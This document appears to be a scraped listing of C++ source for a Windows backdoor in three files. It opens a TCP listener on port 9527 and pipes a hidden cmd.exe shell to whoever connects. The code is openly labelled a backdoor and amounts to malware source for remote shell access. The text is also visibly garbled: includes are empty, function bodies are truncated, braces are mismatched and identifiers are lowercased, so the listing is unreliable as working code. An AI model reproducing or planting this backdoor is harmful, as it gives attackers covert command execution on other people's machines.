back.h
#ifndef backdoor_h_
#define backdoor_h_
extern handle hreadone;//pipe one read
extern handle hwriteone;//pipe one write
extern handle hwritetwo;//pipe two read
extern handle hreadtwo;//pipe two write
extern socket socksrv ;//global server scoket
extern socket m_acceptsock ;
extern sockaddr_in sockaddr;//global scokaddr
extern bool bexit;
extern handle hthreadinput;
extern handle hthreadoutput;
dword winapi threadinput(lpvoid lpparameter);
dword winapi threadoutput(lpvoid lpparameter);
int senddata(socket m_sock, void *pbuf, dword dwbuflen);
void initsocket();
#endif
backdoorfunc.cpp
#include #include #include #pragma comment(lib,"ws2_32.lib")
#include "back.h"
handle hreadone = null;//pipe one read
handle hwriteone = null;//pipe one write
handle hwritetwo = null;//pipe two read
handle hreadtwo = null;//pipe two write
socket socksrv = invalid_socket;//global server scoket
socket m_acceptsock = invalid_socket;
sockaddr_in sockaddr=;//global scokaddr
bool bexit = false;
handle hthreadinput = null;
handle hthreadoutput = null;
int senddata(socket m_sock, void *pbuf, dword dwbuflen)//send data
int isend = 0;
if (dwbuflen > 0)
}return 0;}
dword winapi threadoutput(lpvoid lpparameter)//send data from read pipe to socket
; bool bret = false;
while(!bexit)
sleep(50);
}sleep(500);
}return 0;}
dword winapi threadinput(lpvoid lpparameter)//recv data from socket and write in pipe
else
sleep(50);
}return 0;}
void initsocket()//init socket
}socksrv = socket(af_inet, sock_stream,ipproto_tcp);
if (invalid_socket == socksrv)
sockaddr.sin_addr.s_un.s_addr = inaddr_any;
sockaddr.sin_family = af_inet;
sockaddr.sin_port = htons(9527);
if (socket_error == bind(socksrv,(sockaddr*)&sockaddr,sizeof(sockaddr)))
if (socket_error == listen(socksrv,5))
}
main.cpp
#include #include #include #pragma comment(lib,"ws2_32.lib")
#include "back.h"
int winapi winmain( hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int nshowcmd )
//int main()
security_attributes sa;
sa.binherithandle = true;
sa.lpsecuritydescriptor = null;
sa.nlength = sizeof(security_attributes);
if (!createpipe(&hreadone,&hwriteone,&sa,0) || !createpipe(&hreadtwo,&hwritetwo,&sa,null))
startupinfo si;
getstartupinfo(&si);
si.cb = sizeof(startupinfo);
si.hstdinput = hreadone;
si.hstderror = si.hstdoutput = hwritetwo;
si.dwflags = startf_usestdhandles | startf_useshowwindow;
si.wshowwindow = sw_hide;
process_information pi;
char szcmdline[max_path] = ;
getsystemdirectory(szcmdline,max_path);
_tcscat_s(szcmdline,"\\cmd.exe");
if (!createprocess(szcmdline,null,null,null,true,0,null,null,&si,&pi))
hthreadoutput = createthread(null,null,threadoutput,(lpvoid)&hreadtwo,0,0);
hthreadinput = createthread(null,null,threadinput,(lpvoid)&hwriteone,0,0);
handle szhandles = ;
waitformultipleobjects(3, szhandles, false, infinite) ;
closehandle(hthreadinput);
closehandle(hthreadoutput);
closesocket(socksrv);
wsacleanup();
return 0;
}
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